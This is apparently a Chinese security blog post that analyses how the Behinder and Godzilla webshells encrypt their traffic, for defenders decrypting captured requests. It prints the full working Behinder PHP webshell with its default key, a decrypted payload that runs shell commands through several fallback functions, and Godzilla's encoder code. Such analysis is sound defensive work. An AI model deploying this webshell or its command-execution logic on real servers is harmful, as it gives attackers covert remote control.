一、引言
某行動在即,本文基于冰蝎Behinder_v3.0.11和哥斯拉v4.00-godzilla,對它們的加解密方式進行識別和分析【附簡易解密腳本】,希望能在行動中助大家一臂之力。
二、冰蝎
冰蝎加密機制,通過閱讀代碼可知分為四類,即jsp,php,aspx,asp。
2.1 PHP
閱讀php木馬腳本:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
echo "no openssl";
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
// echo $post;
// echo "------------------";
$arr=explode('|',$post);
// echo $arr[1];
// echo "------------------";
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
閱讀代碼可知,在有openssl的情況下冰蝎會使用openssl進行aes128解密,在沒有的情況下使用異或解密。
以一次cmd執行為例進行分析為例:
抓取請求進行AES128解密,得到如下代碼,與冰蝎源碼中的php payload互相對應:
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="Y2QgL2QgIkU6XHBocHN0dWR5X3Byb1xXV1dcIiZkaXI=";$cmd=base64_decode($cmd);$path="RTovcGhwc3R1ZHlfcHJvL1dXVy8=";$path=base64_decode($path);
main($cmd,$path);
其中cmd參數即為所傳輸命令的base64編碼,并且可以得出響應體的加密與請求所用方式一致。
對響應體解密,可以得到如下信息:
其中,status與msg均為base64編碼,解開即可得到明文。
其他操作類型同理,均可解密為明文。
2.2 ASP
由冰蝎代碼可知asp使用xor加密
public static byte[] EncryptForAsp(byte[] bs, String key) throws Exception {
for(int i = 0; i < bs.length; ++i) {
bs[i] ^= key.getBytes()[i + 1 & 15];
}
return bs;
}
結合asp腳本,分析的出asp請求和響應使用xor加密可以解析;
響應格式與php相同,status與msg均為base64編碼,解開即可得到明文。
2.3 CSharp
通過閱讀源碼可知,aspx使用的AES/CBC/PKCS5Padding,iv為key。
public static byte[] EncryptForCSharp(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("utf-8");
IvParameterSpec iv = new IvParameterSpec(raw);
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
由于aspx的payload為dll文件,請求解密后為pe文件格式,可將文件轉存后用ida進行分析。
響應解密出來同樣是一個json:
對應信息也需要base64解碼為明文。
2.4 JAVA
冰蝎對jsp,jspx系列的處理是一致的。閱讀源碼可知,使用的是AES/ECB/PKCS5Padding.
public static byte[] DecryptForJava(byte[] bs, String key) throws Exception {
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(2, skeySpec);
byte[] decrypted = cipher.doFinal(bs);
return decrypted;
}
由于傳輸的文件為java的class文件,請求解密后為class文件格式,可將文件轉存后用idea進行分析。
響應解密出來同樣是json,對應信息也需要base64節碼為明文。
三、哥斯拉
相比于冰蝎,哥斯拉可選的加密方式就有很多種了,每一種都對應著一個server腳本。
且除了xor的加密方式,響應都會經過findstr函數,首尾各去掉的16位
3.1 phpXor
3.1.1 PhpEvalXor
分析代碼及流量,請求為明文可執行代碼+加密數據,響應為去掉首尾后,先解base64然后解xor。
關鍵代碼如下:
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return this.D(this.findStr(data));
} catch (Exception var3) {
Log.error(var3);
return null;
}
} else {
return data;
}
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= this.key[i + 1 & 15];
}
return cs;
}
3.1.2 PhpXor
分析代碼及流量,請求位xor+base64,響應為去掉首尾后,xor+base64
關鍵代碼如下:
public byte[] encode(byte[] data) {
try {
return this.E(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return this.D(this.findStr(data));
} catch (Exception var3) {
Log.error(var3);
return null;
}
} else {
return data;
}
}
public byte[] E(byte[] cs) {
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= this.key[i + 1 & 15];
}
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= this.key[i + 1 & 15];
}
return cs;
}
3.1.3 PhpXorRaw
分析代碼及流量,請求為xor,響應為xor
關鍵代碼如下:
public byte[] encode(byte[] data) {
try {
return this.E(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return this.D(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
} else {
return data;
}
}
public byte[] E(byte[] cs) {
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= this.key[i + 1 & 15];
}
return cs;
}
public byte[] D(byte[] cs) {
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= this.key[i + 1 & 15];
}
return cs;
}
3.2 JavaAes
3.2.1 JavaAesBase64
請求響應均為為aes+base64,key就是參數key,模式為ECB
關鍵代碼如下:
this.encodeCipher = Cipher.getInstance("AES");
this.decodeCipher = Cipher.getInstance("AES");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));
public byte[] encode(byte[] data) {
try {
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(this.encodeCipher.doFinal(data)))).getBytes();
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
try {
data = functions.base64Decode(this.findStr(data));
return this.decodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
3.2.2 JavaAesRaw
請求響應均為為aes,key就是參數key,模式為ECB
關鍵代碼如下:
this.encodeCipher = Cipher.getInstance("AES");
this.decodeCipher = Cipher.getInstance("AES");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));
public byte[] encode(byte[] data) {
try {
return this.encodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
try {
return this.decodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
3.3 CShapAes
3.3.1 CShapAesBase64
請求響應均為為aes+base64,key就是參數key,iv也是參數key,模式為CBC
關鍵代碼如下:
this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
public byte[] encode(byte[] data) {
try {
return (this.pass + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
try {
data = functions.base64Decode(this.findStr(data));
return this.decodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
3.3.2 CShapAesRaw
請求響應均為為aes,key就是參數key,iv也是參數key,模式為CBC
關鍵代碼如下:
this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
public byte[] encode(byte[] data) {
try {
return this.encodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
try {
return this.decodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
3.3.3 CSharpEvalAesBase64
請求為明文可執行代碼+加密數據,請求響應為aes,key就是參數key,iv也是參數key,模式為CBC
關鍵代碼如下:
this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes()));
public byte[] encode(byte[] data) {
try {
return (String.format("%s=%s&", this.pass, this.evalContent) + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes();
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
try {
data = functions.base64Decode(this.findStr(data));
return this.decodeCipher.doFinal(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
3.3.4 CShapAsmxAesBase64
asmx加密方式與CShapAesBase64一致,只是傳參變成xml格式
3.4 aspXor
asp系列的有一個改變就是非raw的首位16位填充變為了6位
3.4.1 AspRaw
抓包可以看到通信是明文的不需要解密
public byte[] encode(byte[] data) {
try {
return data;
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return data;
} catch (Exception var3) {
Log.error(var3);
return null;
}
} else {
return data;
}
}
3.4.2 AspBase64
加密方式為base64,響應首尾填充6位
public byte[] encode(byte[] data) {
try {
return this.E(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return this.D(this.findStr(data));
} catch (Exception var3) {
Log.error(var3);
return null;
}
} else {
return data;
}
}
public byte[] E(byte[] cs) {
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
return cs;
}
3.4.3 AspEvalBase64
請求為明文轉送一部分代碼,并將執行數據作為代碼中一個變量傳輸,響應為base64首尾填充6位
public byte[] E(byte[] cs) {
return (this.pass + "=" + this.chopperRequest + "&" + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
return cs;
}
3.4.4 AspXorBae64
加密方式為base64+xor
響應首尾填充6位
public byte[] encode(byte[] data) {
try {
return this.E(data);
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
return this.D(this.findStr(data));
} catch (Exception var3) {
Log.error(var3);
return null;
}
} else {
return data;
}
}
protected void decryption(byte[] data, byte[] key) {
int len = data.length;
int keyLen = key.length;
int index = false;
for(int i = 1; i <= len; ++i) {
int index = i - 1;
data[index] ^= key[i % keyLen];
}
}
public byte[] E(byte[] cs) {
this.decryption(cs, this.key);
return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}
public byte[] D(String data) {
byte[] cs = functions.base64Decode(data);
this.decryption(cs, this.key);
return cs;
}
3.4.5 AspXorRaw
加密方式為xor
其中,super.decryption即為xor函數
public byte[] encode(byte[] data) {
try {
super.decryption(data, this.key);
return data;
} catch (Exception var3) {
Log.error(var3);
return null;
}
}
public byte[] decode(byte[] data) {
if (data != null && data.length > 0) {
try {
super.decryption(data, this.key);
return data;
} catch (Exception var3) {
Log.error(var3);
return null;
}
} else {
return data;
}
}
四、解密腳本
公眾號回復“webshell”獲取解密腳本鏈接
使用方法:
按照加密類型、key和pass,初始化類。然后輸入字節流形式的請求/響應體,調用相應的加/解密函數即可。
如下例子:
```Python/ target=_blank class=infotextkey>Python
decrypter = PHP_XOR_BASE64(pass_='pass', key='3c6e0b8a9c15224a')
data = decrypter.decrypt_req_payload(b'pass=DlMRWA1cL1gOVDc2MjRhRwZFEQ==')
print(data)
data = decrypter.decrypt_res_payload(b'72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488')
print(data)
```